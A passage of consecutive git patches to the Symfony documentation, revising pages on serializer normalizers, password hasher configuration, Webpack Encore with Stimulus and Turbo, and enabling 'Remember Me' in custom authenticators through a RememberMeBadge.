+authenticator methods (e.g. ``createAuthenticatedToken()``)::
 
-            public function authenticate(Request $request): PassportInterface
-            {
-                // ... process the request
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        // ...
 
-                $passport = new SelfValidatingPassport(new UserBadge($username), []);
+        public function authenticate(Request $request): PassportInterface
+        {
+            // ... process the request
 
-                // set a custom attribute (e.g. scope)
-                $passport->setAttribute('scope', $oauthScope);
+            $passport = new SelfValidatingPassport(new UserBadge($username), []);
 
-                return $passport;
-            }
+            // set a custom attribute (e.g. scope)
+            $passport->setAttribute('scope', $oauthScope);
 
-            public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
-            {
-                // read the attribute value
-                return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
-            }
+            return $passport;
         }
 
-.. versionadded:: 5.2
-
-    Passport attributes were introduced in Symfony 5.2.
+        public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+        {
+            // read the attribute value
+            return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
+        }
+    }

From 131bc2043886d6745e0ed52c3d6a996a25c08195 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 5 Jan 2022 10:16:20 +0100
Subject: [PATCH 2929/7107] Fix invalid statement about normalizers

- not all normalizers are enabled by default
---
 components/serializer.rst | 51 +++++++++++++++++++++++++++++++++++++--
 serializer.rst            | 47 ------------------------------------
 2 files changed, 49 insertions(+), 49 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2e43ac571f5..db38513e36a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -801,8 +801,55 @@ The Serializer component provides several built-in normalizers:
     You can also create your own Normalizer to use another structure. Read more at
     :doc:`/serializer/custom_normalizer`.
 
-All these normalizers are enabled by default when using the Serializer component
-in a Symfony application.
+Certain normalizers are enabled by default when using the Serializer component
+in a Symfony application, additional ones can be enabled by tagging them with
+:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
+
+Here is an example of how to enable the built-in
+:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
+faster alternative to the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            get_set_method_normalizer:
+                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
+                tags: [serializer.normalizer]
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
+                    <tag name="serializer.normalizer"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
+                ->tag('serializer.normalizer')
+            ;
+        };
 
 .. _component-serializer-encoders:
 
diff --git a/serializer.rst b/serializer.rst
index 4216d619c15..3fecc7bec8e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -79,53 +79,6 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
-Here is an example on how to load the built-in
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
-faster alternative to the `ObjectNormalizer` when data objects always use
-getters (``getXxx()``), issers (``isXxx()``) or hassers (``hasXxx()``) to read
-properties and setters (``setXxx()``) to change properties:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            get_set_method_normalizer:
-                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                tags: [serializer.normalizer]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
-                    <tag name="serializer.normalizer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                ->tag('serializer.normalizer')
-            ;
-        };
-
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From 8a44f4ac38655d6b24231ffec8eedd909d0e6899 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 5 Jan 2022 10:23:41 +0100
Subject: [PATCH 2930/7107] Remove redundant normalizers document

---
 components/serializer.rst  | 12 ++++++------
 serializer.rst             |  1 -
 serializer/normalizers.rst | 25 -------------------------
 3 files changed, 6 insertions(+), 32 deletions(-)
 delete mode 100644 serializer/normalizers.rst

diff --git a/components/serializer.rst b/components/serializer.rst
index 2e43ac571f5..6b6eec10201 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -693,13 +693,13 @@ When serializing, you can set a callback to format a specific object property::
 Normalizers
 -----------
 
-Normalizers turn **object** into **array** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
-for normalize (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
-(array to object).
+Normalizers turn **objects** into **arrays** and vice versa. They implement
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
+normalizing (object to array) and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
+denormalizing (array to object).
 
-You can add new normalizers to a Serializer instance by using its first constructor argument::
+Normalizers are enabled in the serializer passing them as its first argument::
 
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
diff --git a/serializer.rst b/serializer.rst
index 4216d619c15..ce74573ae6a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -269,7 +269,6 @@ take a look at how this bundle works.
 .. toctree::
     :maxdepth: 1
 
-    serializer/normalizers
     serializer/custom_encoders
     serializer/custom_normalizer
 
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
deleted file mode 100644
index 4e0b63a2ee6..00000000000
--- a/serializer/normalizers.rst
+++ /dev/null
@@ -1,25 +0,0 @@
-.. index::
-   single: Serializer, Normalizers
-
-Normalizers
-===========
-
-Normalizers turn **objects** into **arrays** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
-normalizing (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
-denormalizing (array to object).
-
-Normalizers are enabled in the serializer passing them as its first argument::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizers = [new ObjectNormalizer()];
-    $serializer = new Serializer($normalizers);
-
-Built-in Normalizers
---------------------
-
-Symfony includes several types of :ref:`built-in normalizers <component-serializer-normalizers>`
-but you can also :doc:`create your own normalizer </serializer/custom_normalizer>`.

From 10bc1f2ef1f1038c496deef409ff03decc754965 Mon Sep 17 00:00:00 2001
From: berbeflo <48961978+berbeflo@users.noreply.github.com>
Date: Fri, 7 Jan 2022 09:44:14 +0100
Subject: [PATCH 2931/7107] fix Password Hasher php-standalone example

the php-standalone example for Password Hasher had a configuration for User twice, while the comment and other examples indicated, the second should've been a configuration for PasswordAuthenticatedUserInterface
---
 security/passwords.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 6bf37d51806..e30e517f895 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -101,7 +101,7 @@ optionally some *algorithm options*:
             User::class => ['algorithm' => 'auto'],
 
             // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
-            User::class => [
+            PasswordAuthenticatedUserInterface::class => [
                 'algorithm' => 'auto',
                 'cost' => 15,
             ],

From e57adef60deb1445cc056494409324607649df37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Jan 2022 13:13:36 +0100
Subject: [PATCH 2932/7107] Add the redirection for the removed page

---
 _build/redirection_map | 1 +
 1 file changed, 1 insertion(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 4ae8f1ddfcf..bd708c379d4 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -513,3 +513,4 @@
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
+/serializer/normalizers /components/serializer#normalizers

From 4c5ed02bb92f91d30fcf4ae71510935b0c34a555 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 23 Dec 2021 20:04:59 -0500
Subject: [PATCH 2933/7107] Adding docs for Stimulus, Turbo & Symfony UX

---
 .github/workflows/ci.yaml                |   2 +-
 _build/redirection_map                   |   1 +
 frontend.rst                             |   3 +-
 frontend/encore/installation.rst         |  55 +++++--
 frontend/encore/page-specific-assets.rst |  27 ----
 frontend/encore/simple-example.rst       | 189 +++++++++++++++++++----
 6 files changed, 202 insertions(+), 75 deletions(-)
 delete mode 100644 frontend/encore/page-specific-assets.rst

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6c10a4eaf9b..6750bd8eb20 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -118,7 +118,7 @@ jobs:
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker _checker
+            run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
diff --git a/_build/redirection_map b/_build/redirection_map
index 1acae2a1667..e7146d2fc2d 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -513,6 +513,7 @@
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /frontend/encore/shared-entry /frontend/encore/split-chunks
+/frontend/encore/page-specific-assets /frontend/encore/simple-example#page-specific-javascript-or-css
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
diff --git a/frontend.rst b/frontend.rst
index 30202523b41..4272cb8338d 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -40,7 +40,7 @@ Getting Started
 ...............
 
 * :doc:`Installation </frontend/encore/installation>`
-* :doc:`First Example </frontend/encore/simple-example>`
+* :doc:`Using Webpack Encore </frontend/encore/simple-example>`
 
 Adding more Features
 ....................
@@ -67,7 +67,6 @@ Guides
 ......
 
 * :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
-* :doc:`Creating Page-Specific CSS/JS </frontend/encore/page-specific-assets>`
 * :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
 * :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
 * :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index c53dddd5d3f..eb4b82e8b45 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -82,15 +82,13 @@ is the main config file for both Webpack and Webpack Encore:
         /*
          * ENTRY CONFIG
          *
-         * Add 1 entry for each "page" of your app
-         * (including one that's included on every page - e.g. "app")
-         *
          * Each entry will result in one JavaScript file (e.g. app.js)
          * and one CSS file (e.g. app.css) if your JavaScript imports CSS.
          */
         .addEntry('app', './assets/app.js')
-        //.addEntry('page1', './assets/page1.js')
-        //.addEntry('page2', './assets/page2.js')
+
+        // enables the Symfony UX Stimulus bridge (used in assets/bootstrap.js)
+        .enableStimulusBridge('./assets/controllers.json')
 
         // When enabled, Webpack "splits" your files into smaller pieces for greater optimization.
         .splitEntryChunks()
@@ -112,6 +110,10 @@ is the main config file for both Webpack and Webpack Encore:
         // enables hashed filenames (e.g. app.abc123.css)
         .enableVersioning(Encore.isProduction())
 
+        .configureBabel((config) => {
+            config.plugins.push('@babel/plugin-proposal-class-properties');
+        })
+
         // enables @babel/preset-env polyfills
         .configureBabelPresetEnv((config) => {
             config.useBuiltIns = 'usage';
@@ -124,16 +126,15 @@ is the main config file for both Webpack and Webpack Encore:
         // uncomment if you use TypeScript
         //.enableTypeScriptLoader()
 
+        // uncomment if you use React
+        //.enableReactPreset()
+
         // uncomment to get integrity="..." attributes on your script & link tags
         // requires WebpackEncoreBundle 1.4 or higher
         //.enableIntegrityHashes(Encore.isProduction())
 
         // uncomment if you're having problems with a jQuery plugin
         //.autoProvidejQuery()
-
-        // uncomment if you use API Platform Admin (composer require api-admin)
-        //.enableReactPreset()
-        //.addEntry('admin', './assets/admin.js')
     ;
 
     module.exports = Encore.getWebpackConfig();
@@ -154,10 +155,8 @@ Next, open the new ``assets/app.js`` file which contains some JavaScript code
     // any CSS you import will output into a single css file (app.css in this case)
     import './styles/app.css';
 
-    // Need jQuery? Install it with "yarn add jquery"(or "npm install jquery"), then uncomment to import it.
-    // import $ from 'jquery';
-
-    console.log('Hello Webpack Encore! Edit me in assets/app.js');
+    // start the Stimulus application
+    import './bootstrap';
 
 And the new ``assets/styles/app.css`` file:
 
@@ -168,7 +167,37 @@ And the new ``assets/styles/app.css`` file:
         background-color: lightgray;
     }
 
+You should also add an ``assets/bootstrap.js`` file, which initializes Stimulus:
+a system that you'll learn about soon:
+
+.. code-block:: javascript
+
+    // assets/bootstrap.js
+    import { startStimulusApp } from '@symfony/stimulus-bridge';
+
+    // Registers Stimulus controllers from controllers.json and in the controllers/ directory
+    export const app = startStimulusApp(require.context(
+        '@symfony/stimulus-bridge/lazy-controller-loader!./controllers',
+        true,
+        /\.(j|t)sx?$/
+    ));
+
+    // register any custom, 3rd party controllers here
+    // app.register('some_controller_name', SomeImportedController);
+
+And finally, create an ``assets/controllers.json`` file, which also fits into
+the Stimulus system:
+
+```json
+{
+    "controllers": [],
+    "entrypoints": []
+}
+```
+
 You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
+When you execute Encore, it will ask you to install a few more dependencies based
+on which features of Encore you have enabled.
 
 .. caution::
 
diff --git a/frontend/encore/page-specific-assets.rst b/frontend/encore/page-specific-assets.rst
deleted file mode 100644
index 8f03bfb5877..00000000000
--- a/frontend/encore/page-specific-assets.rst
+++ /dev/null
@@ -1,27 +0,0 @@
-Creating Page-Specific CSS/JS
-=============================
-
-If you're creating a single page app (SPA), then you probably only need to define
-*one* entry in ``webpack.config.js``. But if you have multiple pages, you might
-want page-specific CSS and JavaScript.
-
-To learn how to set this up, see the :ref:`multiple-javascript-entries` example.
-
-Multiple Entries Per Page?
---------------------------
-
-Typically, you should include only *one* JavaScript entry per page. Think of the
-checkout page as its own "app", where ``checkout.js`` includes all the functionality
-you need.
-
-However, it's pretty common to need to include some global JavaScript and CSS on
-every page. For that reason, it usually makes sense to have one entry (e.g. ``app``)
-that contains this global code (both JavaScript & CSS) and is included on every
-page (i.e. it's included in the *layout* of your app). This means that you will
-always have one, global entry on every page (e.g. ``app``) and you *may* have one
-page-specific JavaScript and CSS file from a page-specific entry (e.g. ``checkout``).
-
-.. tip::
-
-    Be sure to use :doc:`split chunks </frontend/encore/split-chunks>`
-    to avoid duplicate and shared code between your entry files.
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 8fa55913d69..64115878107 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -1,11 +1,14 @@
 Encore: Setting up your Project
 ===============================
 
-After :doc:`installing Encore </frontend/encore/installation>`, your app already has one
-CSS and one JS file, organized into an ``assets/`` directory:
+After :doc:`installing Encore </frontend/encore/installation>`, your app already
+has a few files, organized into an ``assets/`` directory:
 
 * ``assets/app.js``
+* ``assets/bootstrap.js``
+* ``assets/controllers.json``
 * ``assets/styles/app.css``
+* ``assets/controllers/hello_controller.js``
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
@@ -19,11 +22,14 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
     import './styles/app.css';
 
-Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
+Encore's job (via Webpack) is simple: to read and follow *all* of the ``import``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
 support React, Vue.js, etc.
 
+The other files - ``bootstrap.js``, ``controllers.json`` and ``hello_controller.js``
+relate to a topic you'll learn about soon: `Stimulus & Symfony UX`_.
+
 Configuring Encore/Webpack
 --------------------------
 
@@ -59,27 +65,24 @@ To build the assets, run the following if you use the Yarn package manager:
 
 .. code-block:: terminal
 
-    # compile assets once
-    $ yarn encore dev
-
-    # or, recompile assets automatically when files change
-    $ yarn encore dev --watch
+    # compile assets and automatically re-compile when files change
+    $ yarn watch
 
-    # on deploy, create a production build
-    $ yarn encore production
+    # if using npm, use "npm run" and then any of these commands
+    $ npm run watch
 
-If you use the npm package manager, run the following commands instead:
-
-.. code-block:: terminal
+    # or, run a dev-server that can sometimes update your code without refreshing the page
+    $ yarn dev-server
 
     # compile assets once
-    $ npm run dev
-
-    # or, recompile assets automatically when files change
-    $ npm run watch
+    $ yarn dev
 
     # on deploy, create a production build
-    $ npm run build
+    $ yarn build
+
+All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
+in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
+with ``npm run``.
 
 .. note::
 
@@ -91,8 +94,15 @@ Congrats! You now have three new files:
 * ``public/build/app.css`` (holds all the CSS for your "app" entry)
 * ``public/build/runtime.js`` (a file that helps Webpack do its job)
 
-Next, include these in your base layout file. Two Twig helpers from WebpackEncoreBundle
-can do most of the work for you:
+.. note::
+
+    In reality, you probably have a few *more* files in ``public/build``. Some of
+    these are due to :doc:`code splitting </frontend/encore/split-chunks>`, an optimization
+    that helps performance, but doesn't affect how things work. Others help Encore
+    do its work.
+
+Next, to include these in your base layout, you can leverage two Twig helpers from
+WebpackEncoreBundle:
 
 .. code-block:: html+twig
 
@@ -130,7 +140,7 @@ That's it! When you refresh your page, all of the JavaScript from
 be executed. All the CSS files that were required will also be displayed.
 
 The ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` functions
-read from an ``entrypoints.json`` file that's generated by Encore to know the exact
+read from a ``public/build/entrypoints.json`` file that's generated by Encore to know the exact
 filename(s) to render. This file is *especially* useful because you can
 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
@@ -155,7 +165,7 @@ Requiring JavaScript Modules
 ----------------------------
 
 Webpack is a module bundler, which means that you can ``import`` other JavaScript
-files. First, create a file that exports a function:
+files. First, create a file that exports a function, class or any other value:
 
 .. code-block:: javascript
 
@@ -196,14 +206,121 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
+Stimulus & Symfony UX
+---------------------
+
+As simple as the above example is, instead of building your application inside of
+``app.js``, we recommend `Stimulus`_: a small JavaScript framework that makes it
+easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
+even provides packages to add more features to Stimulus. These are called the
+`Symfony UX Packages`_.
+
+If you followed the setup instructions, you should already have Stimulus installed
+and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
+to initialize Stimulus and automatically load any "controllers" from the
+``assets/controllers/`` directory.
+
+Let's look at a simple Stimulus example. In a Twig template, suppose you have:
+
+.. code-block:: twig
+
+    <div {{ stimulus_controller('say-hello') }}>
+        <input type="text" {{ stimulus_target('say-hello', 'name') }}>
+
+        <button {{ stimulus_action('say-hello', 'greet') }}>
+            Greet
+        </button>
+
+        <div {{ stimulus_target('say-hello', 'output') }}></div>
+    </div>
+
+The ``stimulus_controller('say-hello')`` renders a ``data-controller="say-hello"``
+attribute. Whenever this element appears on the page, Stimulus will automatically
+look for and initialize a controller called ``say-hello-controller.js``. Create
+that in your ``assets/controllers/`` directory:
+
+.. code-block:: javascript
+
+    // assets/controllers/say-hello-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    export default class extends Controller {
+        static targets = ['name', 'output']
+
+        greet() {
+          this.outputTarget.textContent = `Hello, ${this.nameTarget.value}!`
+        }
+    }
+
+The result? When you click the "Greet" button, it prints your name! And if
+more ``{{ stimulus_controller('say-hello') }}`` elements are added to the page - like
+via Ajax - those will instantly work: no need to reinitialize anything.
+
+Ready to learn more about Stimulus?
+
+* Read the `Stimulus Documentation`_
+* Check out the `Symfony UX Packages`_
+* Learn more about the `Symfony Stimulus Bridge`_ - including the superpower of
+  making your controllers load lazily!
+
+  .. admonition:: Screencast
+      :class: screencast
+
+      Or check out the `Stimulus Screencast`_ on SymfonyCasts.
+
+Turbo: Lightning Fast Single-Page-Application Experience
+--------------------------------------------------------
+
+Symfony comes with tight integration with another JavaScript library called `Turbo`_.
+Turbo automatically transforms all link clicks and form submits into an Ajax call,
+with zero (or nearly zero) changes to your Symfony code! The result? You get the
+speed of a single page application without having to write any JavaScript.
+
+To learn more, check out the `symfony/ux-turbo`_ package.
+
+.. admonition:: Screencast
+    :class: screencast
+
+    Or check out the `Turbo Screencast`_ on SymfonyCasts.
+
+Page-Specific JavaScript or CSS
+-------------------------------
+
+So far, you only have one final JavaScript file: ``app.js``. Encore may be split
+into multiple files for performance (see :doc:`split chunks </frontend/encore/split-chunks>`),
+but all of that code is still downloaded on every page.
+
+What if you have some extra JavaScript or CSS (e.g. for performance) that you only
+want to include on *certain* pages?
+
+Lazy Controllers
+~~~~~~~~~~~~~~~~
+
+One very nice solution if you're using Stimulus is to leverage `lazy controllers`_.
+To activate this on a controller, add a special ``stimulusFetch: 'lazy'`` above
+your controller class:
+
+.. code-block:: javascript
+
+    // assets/controllers/lazy-example-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    /* stimulusFetch: 'lazy' */
+    export default class extends Controller {
+        // ...
+    }
+
+That's it! This controller's code - and any modules that it imports - will be
+split to *separate* files by Encore. Then, those files won't be downloaded until
+the moment a matching element (e.g. ``<div data-controller="lazy-example">``)
+appears on the page!
+
 .. _multiple-javascript-entries:
 
-Page-Specific JavaScript or CSS (Multiple Entries)
---------------------------------------------------
+Multiple Entries
+~~~~~~~~~~~~~~~~
 
-So far, you only have one final JavaScript file: ``app.js``. For small applications
-or SPA's (Single Page Applications), that might be fine! However, as your app grows,
-you may want to have page-specific JavaScript or CSS (e.g. checkout, account,
+Another option is to create page-specific JavaScript or CSS (e.g. checkout, account,
 etc.). To handle this, create a new "entry" JavaScript file for each page:
 
 .. code-block:: javascript
@@ -234,7 +351,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn encore dev --watch
+    $ yarn watch
 
     # if you use the npm package manager
     $ npm run watch
@@ -263,10 +380,9 @@ you need them:
 
 Now, the checkout page will contain all the JavaScript and CSS for the ``app`` entry
 (because this is included in ``base.html.twig`` and there is the ``{{ parent() }}`` call)
-*and* your ``checkout`` entry.
-
-See :doc:`/frontend/encore/page-specific-assets` for more details. To avoid duplicating
-the same code in different entry files, see :doc:`/frontend/encore/split-chunks`.
+*and* your ``checkout`` entry. With this, JavaScript & CSS needed for every page
+can live inside the ``app`` entry and code needed only for the checkout page can
+live inside ``checkout``.
 
 Using Sass/LESS/Stylus
 ----------------------
@@ -347,3 +463,12 @@ Encore supports many more features! For a full list of what you can do, see
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
+.. _`Symfony UX Packages`: https://github.com/symfony/ux
+.. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
+.. _`Turbo`: https://turbo.hotwired.dev/
+.. _`symfony/ux-turbo`: https://github.com/symfony/ux/tree/2.x/src/Turbo
+.. _`Stimulus Screencast`: https://symfonycasts.com/screencast/stimulus
+.. _`Turbo Screencast`: https://symfonycasts.com/screencast/turbo
+.. _`lazy controllers`: https://github.com/symfony/stimulus-bridge#lazy-controllers

From 7c2612886c1196292c53d54082c1951db020c705 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 5 Dec 2021 13:36:11 -0400
Subject: [PATCH 2934/7107] [Security] Add remember me description when using
 custom authenticator

---
 security/remember_me.rst | 39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index b14b012202f..ccf810bb34b 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -354,3 +354,42 @@ service you created before:
                     ->tokenProvider(DoctrineTokenProvider::class)
             ;
         };
+
+Activating Remember Me When Using a Custom Authenticator
+--------------------------------------------------------
+
+When you use a custom authenticator, you must add a ``RememberMeBadge`` to the ``Passport``
+for the remember me function to be activated. Without the badge, remember me will not be
+active, regardless of any other remember me settings. 
+
+For example::
+
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        public function authenticate(Request $request): PassportInterface
+        {
+            $password = $request->request->get('password');
+            $username = $request->request->get('username');
+            $csrfToken = $request->request->get('csrf_token');
+
+            return new Passport(
+                new UserBadge($username),
+                new PasswordCredentials($password),
+                [
+                    new CsrfTokenBadge('login', $csrfToken),
+                    new RememberMeBadge(),
+                ]
+            );
+        }
+    }

From 09b9115337070d1adb69c22eaffa46c635da17d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Jan 2022 15:54:35 +0100
Subject: [PATCH 2935/7107] Minor tweaks

---
 security/remember_me.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8707ee9f1f7..8ba3ede9257 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -358,9 +358,10 @@ service you created before:
 Activating Remember Me When Using a Custom Authenticator
 --------------------------------------------------------
 
-When you use a custom authenticator, you must add a ``RememberMeBadge`` to the ``Passport``
-for the remember me function to be activated. Without the badge, remember me will not be
-active, regardless of any other remember me settings. 
+When you use a :doc:`custom authenticator </security/custom_authenticator>`, you
+must add a ``RememberMeBadge`` to the ``Passport`` for the "Remember Me" function
+to be activated. Without the badge, "Remember Me" will not be active, regardless
+of any other "Remember Me" settings.
 
 For example::
 

From d36b9497329a0b105b0a500e2a85af66a1ac61b2 Mon Sep 17 00:00:00 2001
From: Caliendo Julien <34681928+caliendojulien@users.noreply.github.com>
Date: Tue, 5 Oct 2021 23:36:33 +0200
Subject: [PATCH 2936/7107] Update remember_me.rst

Add some line to the Authenticator to add a RememberMeBadge to the Passport returned
---
 security/remember_me.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8ba3ede9257..6c39ebc8739 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -167,6 +167,29 @@ this:
 The user will then automatically be logged in on subsequent visits while
 the cookie remains valid.
 
+Add the RememberMeBadge() to the Passport
+-----------------------------------------
+After uncommenting the login template and add some lines in the firewall configuration, the last thing to do is to add a new RememberMeBadge to the Password in the Authenticator.
+
+    // src/Security/Authenticator.php
+    // ...
+    
+    public function authenticate(Request $request): PassportInterface
+    {
+        $email = $request->request->get('email', '');
+
+        $request->getSession()->set(Security::LAST_USERNAME, $email);
+
+        return new Passport(
+            new UserBadge($email),
+            new PasswordCredentials($request->request->get('password', '')),
+            [
+                new CsrfTokenBadge('authenticate', $request->request->get('_csrf_token')),
+                new RememberMeBadge(),
+            ]
+        );
+    }
+
 Forcing the User to Re-Authenticate before Accessing certain Resources
 ----------------------------------------------------------------------
 

From 2df227596ef4e391ba2065f387ec4ab29bede6ec Mon Sep 17 00:00:00 2001
From: Paul Rijke <paul@rijke.org>
